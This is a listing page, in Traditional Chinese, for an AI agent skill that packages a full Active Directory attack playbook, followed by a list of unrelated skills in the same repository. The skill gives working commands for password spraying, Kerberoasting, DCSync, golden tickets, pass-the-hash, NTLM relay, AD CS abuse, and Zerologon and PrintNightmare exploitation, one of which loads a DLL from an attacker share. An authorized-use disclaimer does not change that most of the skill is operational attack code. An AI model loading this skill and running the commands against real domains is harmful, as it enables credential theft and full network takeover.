Communitygithub.com

SamuelChien/mega-skills-collection

提供攻擊 Microsoft Active Directory 環境的全面技術,涵蓋偵察、憑證收集、Kerberos 攻擊、橫向移動、權限提升和域控制,適用於紅隊演練和滲透測試。

mega-skills-collection 是什麼?

此技能是一個專為紅隊操作和滲透測試設計的全面 Active Directory (AD) 攻擊技術集合。它涵蓋了 AD 攻擊生命週期的各個階段,從初始偵察(使用 BloodHound 和 PowerView)到憑證攻擊(如密碼噴灑、Kerberoasting 和 AS-REP Roasting),再到進階的 Kerberos 票證攻擊(黃金/白銀票據傳遞、傳遞哈希)以及 NTLM 中繼攻擊。此外,還包括針對 Active Directory 憑證服務 (AD CS) 的攻擊(如 ESC1 和 ESC8)以及 CVE 漏洞利用(如 Zerologon 和 PrintNightmare)。該技能主要針對 Kali Linux 和 Windows 攻擊平台進行了最佳化,並依賴 Impacket、Mimikatz、Rubeus 和 CrackMapExec 等工具。對於需要快速入侵 AD 環境的紅隊人員或希望驗證其 AD 安全防禦的藍隊人員來說,這項技能非常有用。它提供了詳細的指令、命令範例和故障排除指南,以確保操作順利進行。

相容平台~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/SamuelChien/mega-skills-collection/tree/HEAD/active-directory-attacks

在你喜歡的 AI 中提問

開啟一個已預先載入此 Agent Skill 的新對話。

說明文件

僅限授權使用:此技能僅可用於授權的安全評估、防禦驗證或受控的教育環境。

Active Directory 攻擊

目的

提供攻擊 Microsoft Active Directory 環境的全面技術。涵蓋偵察、憑證收集、Kerberos 攻擊、橫向移動、權限提升和域控制,適用於紅隊演練和滲透測試。

輸入/先決條件

  • Kali Linux 或 Windows 攻擊平台
  • 網域使用者憑證(用於大多數攻擊)
  • 能夠存取網域控制器
  • 工具:Impacket、Mimikatz、BloodHound、Rubeus、CrackMapExec

輸出/成果

  • 網域列舉資料
  • 提取的憑證和雜湊值
  • 用於模擬的 Kerberos 票證
  • 網域管理員權限
  • 持續存取機制

必備工具

工具用途
BloodHoundAD 攻擊路徑可視化
ImpacketPython AD 攻擊工具
Mimikatz憑證提取
RubeusKerberos 攻擊
CrackMapExec網路利用
PowerViewAD 列舉
ResponderLLMNR/NBT-NS 中毒

核心工作流程

步驟 1:Kerberos 時鐘同步

Kerberos 需要時鐘同步(±5 分鐘):

# 檢測時鐘偏差
nmap -sT 10.10.10.10 -p445 --script smb2-time

# 修正 Linux 時鐘
sudo date -s "14 APR 2024 18:25:16"

# 修正 Windows 時鐘
net time /domain /set

# 不更改系統時間的情況下偽造時鐘
faketime -f '+8h' <command>

步驟 2:使用 BloodHound 進行 AD 偵察

# 啟動 BloodHound
neo4j console
bloodhound --no-sandbox

# 使用 SharpHound 收集資料
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass

# Python 收集器(從 Linux 執行)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all

步驟 3:PowerView 列舉

# 取得網域資訊
Get-NetDomain
Get-DomainSID
Get-NetDomainController

# 列舉使用者
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset

# 列舉群組
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member

# 尋找本機管理員存取權限
Find-LocalAdminAccess -Verbose

# 使用者搜尋
Invoke-UserHunter
Invoke-UserHunter -Stealth

憑證攻擊

密碼噴灑

# 使用 kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123

# 使用 CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success

Kerberoasting

提取服務帳戶 TGS 票證並離線破解:

# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt

# 使用 hashcat 破解
hashcat -m 13100 hashes.txt rockyou.txt

AS-REP Roasting

針對「不需要 Kerberos 預先驗證」的帳戶:

# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat

# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# 使用 hashcat 破解
hashcat -m 18200 hashes.txt rockyou.txt

DCSync 攻擊

直接從 DC 提取憑證(需要複製目錄變更權限):

# Impacket
secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator

Kerberos 票證攻擊

傳遞票證(黃金票證)

使用 krbtgt 雜湊值偽造任意使用者的 TGT:

# 先透過 DCSync 取得 krbtgt 雜湊值
# Mimikatz - 建立黃金票證
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt

# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]

白銀票證

為特定服務偽造 TGS:

# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt

傳遞雜湊

# Impacket
psexec.py domain.local/[email protected] -hashes :NTHASH
wmiexec.py domain.local/[email protected] -hashes :NTHASH
smbexec.py domain.local/[email protected] -hashes :NTHASH

# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth

過渡傳遞雜湊

將 NTLM 雜湊值轉換為 Kerberos 票證:

# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache

# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt

NTLM 中繼攻擊

Responder + ntlmrelayx

# 啟動 Responder(為中繼停用 SMB/HTTP)
responder -I eth0 -wrf

# 啟動中繼
ntlmrelayx.py -tf targets.txt -smb2support

# 用於委派攻擊的 LDAP 中繼
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access

SMB 簽章檢查

crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt

憑證服務攻擊 (AD CS)

ESC1 - 設定錯誤的範本

# 尋找易受攻擊的範本
certipy find -u [email protected] -p password -dc-ip 10.10.10.10

# 利用 ESC1
certipy req -u [email protected] -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn [email protected]

# 使用憑證進行驗證
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

ESC8 - Web 註冊中繼

ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

重大 CVE

ZeroLogon (CVE-2020-1472)

# 檢查漏洞
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon

# 利用
python3 cve-2020-1472-exploit.py DC01 10.10.10.10

# 提取雜湊值
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass

# 還原密碼(重要!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD

PrintNightmare (CVE-2021-1675)

# 檢查漏洞
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'

# 利用(需要託管惡意 DLL)
python3 CVE-2021-1675.py domain.local/user:[email protected] '\\attacker\share\evil.dll'

samAccountName 欺騙 (CVE-2021-42278/42287)

# 自動化利用
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell

快速參考

攻擊工具命令
KerberoastImpacketGetUserSPNs.py domain/user:pass -request
AS-REP RoastImpacketGetNPUsers.py domain/ -usersfile users.txt
DCSyncsecretsdumpsecretsdump.py domain/admin:pass@DC
傳遞雜湊psexecpsexec.py domain/user@target -hashes :HASH
黃金票證Mimikatzkerberos::golden /user:Admin /krbtgt:HASH
噴灑kerbrutekerbrute passwordspray -d domain users.txt Pass

限制事項

必須:

  • 在進行 Kerberos 攻擊前與 DC 同步時間
  • 大多數攻擊需要有效的網域憑證
  • 記錄所有遭到入侵的帳戶

禁止:

  • 過度密碼噴灑導致帳戶鎖定
  • 未經批准修改生產環境 AD 物件
  • 留下黃金票證而不做記錄

建議:

  • 執行 BloodHound 以發現攻擊路徑
  • 在中繼攻擊前檢查 SMB 簽章
  • 驗證 CVE 利用的修補程式等級

範例

範例 1:透過 Kerberoasting 入侵網域

# 1. 尋找具有 SPN 的服務帳戶
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10

# 2. 請求 TGS 票證
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt

# 3. 破解票證
hashcat -m 13100 tgs.txt rockyou.txt

# 4. 使用破解的服務帳戶
psexec.py domain.local/svc_admin:[email protected]

範例 2:NTLM 中繼到 LDAP

# 1. 啟動針對 LDAP 的中繼
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access

# 2. 觸發驗證(例如,透過 PrinterBug)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12

# 3. 使用建立的機器帳戶進行 RBCD 攻擊

疑難排解

問題解決方案
時鐘偏差過大與 DC 同步時間或使用 faketime
Kerberoasting 回傳空值沒有具有 SPN 的服務帳戶
DCSync 存取被拒需要複製目錄變更權限
NTLM 中繼失敗檢查 SMB 簽章,嘗試 LDAP 目標
BloodHound 為空驗證收集器已使用正確的憑證執行

其他資源

如需進階技術,包括委派攻擊、GPO 濫用、RODC 攻擊、SCCM/WSUS 部署、ADCS 利用、信任關係和 Linux AD 整合,請參閱 references/advanced-attacks.md。

使用時機

此技能適用於執行概述中描述的工作流程或動作。

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

SamuelChien/mega-skills-collection

Security audit, hardening, threat modeling (STRIDE/PASTA), Red/Blue Team, OWASP checks, code review, incident response, and infrastructure security for any project.

SamuelChien/mega-skills-collection

Arquitecto de Soluciones Principal y Consultor Tecnológico de Andru.ia. Diagnostica y traza la hoja de ruta óptima para proyectos de IA en español.

SamuelChien/mega-skills-collection

Ingeniero de Sistemas de Andru.ia. Diseña, redacta y despliega nuevas habilidades (skills) dentro del repositorio siguiendo el Estándar de Diamante.

SamuelChien/mega-skills-collection

Estratega de Inteligencia de Dominio de Andru.ia. Analiza el nicho específico de un proyecto para inyectar conocimientos, regulaciones y estándares únicos del sector. Actívalo tras definir el nicho.

SamuelChien/mega-skills-collection

2D game development principles. Sprites, tilemaps, physics, camera.

SamuelChien/mega-skills-collection

3D game development principles. Rendering, shaders, physics, cameras.

SamuelChien/mega-skills-collection

Expert in building 3D experiences for the web - Three.js, React Three Fiber, Spline, WebGL, and interactive 3D scenes. Covers product configurators, 3D portfolios, immersive websites, and bringing depth to web experiences.

SamuelChien/mega-skills-collection

Accessibility audit skill for scanning, fixing, and verifying WCAG 2.2 Level A and AA compliance across React, Next.js, Vue, Angular, Svelte, and plain HTML codebases. Use when auditing accessibility, fixing a11y violations, checking color contrast, generating compliance reports, or integrating accessibility checks into CI/CD pipelines.

SamuelChien/mega-skills-collection

Ab Test Analyzer - Auto-activating skill for Data Analytics. Triggers on: ab test analyzer, ab test analyzer Part of the Data Analytics skill category.

SamuelChien/mega-skills-collection

A B Test Config Creator - Auto-activating skill for ML Deployment. Triggers on: a b test config creator, a b test config creator Part of the ML Deployment skill category.

SamuelChien/mega-skills-collection

When the user wants to plan, design, or implement an A/B test or experiment. Also use when the user mentions "A/B test," "split test," "experiment," "test this change," "variant copy," "multivariate test," "hypothesis," "conversion experiment," "statistical significance," or "test this." For tracking implementation, see analytics-tracking.

SamuelChien/mega-skills-collection

Acceptance Criteria Creator - Auto-activating skill for Enterprise Workflows. Triggers on: acceptance criteria creator, acceptance criteria creator Part of the Enterprise Workflows skill category.

SamuelChien/mega-skills-collection

Use when a coding task should be driven end-to-end from issue intake through implementation, review, deployment, and acceptance verification with minimal human re-intervention.

SamuelChien/mega-skills-collection

Accessibility Audit Runner - Auto-activating skill for Frontend Development. Triggers on: accessibility audit runner, accessibility audit runner Part of the Frontend Development skill category.

SamuelChien/mega-skills-collection

You are an accessibility expert specializing in WCAG compliance, inclusive design, and assistive technology compatibility. Conduct audits, identify barriers, and provide remediation guidance.

SamuelChien/mega-skills-collection

Web accessibility patterns for WCAG 2.2 compliance including ARIA, keyboard navigation, screen readers, and testing

SamuelChien/mega-skills-collection

Manage Discord channel access — approve pairings, edit allowlists, set DM/group policy. Use when the user asks to pair, approve someone, check who's allowed, or change policy for the Discord channel.

SamuelChien/mega-skills-collection

Create unified specification packages across Business, Development, and Design teams. Staged elaboration (L0 Vision → L1 Requirements → L2 Team Detail → L3 Acceptance Criteria) to build shared understanding. Does not write code.

SamuelChien/mega-skills-collection

Research a company or person and get actionable sales intel. Works standalone with web search, supercharged when you connect enrichment tools or your CRM. Trigger with "research [company]", "look up [person]", "intel on [prospect]", "who is [name] at [company]", or "tell me about [company]".

SamuelChien/mega-skills-collection

Validate messaging consistency across website, GitHub repos, and local documentation generating read-only discrepancy reports. Use when checking content alignment or finding mixed messaging. Trigger with phrases like "check consistency", "validate documentation", or "audit messaging".

相關技能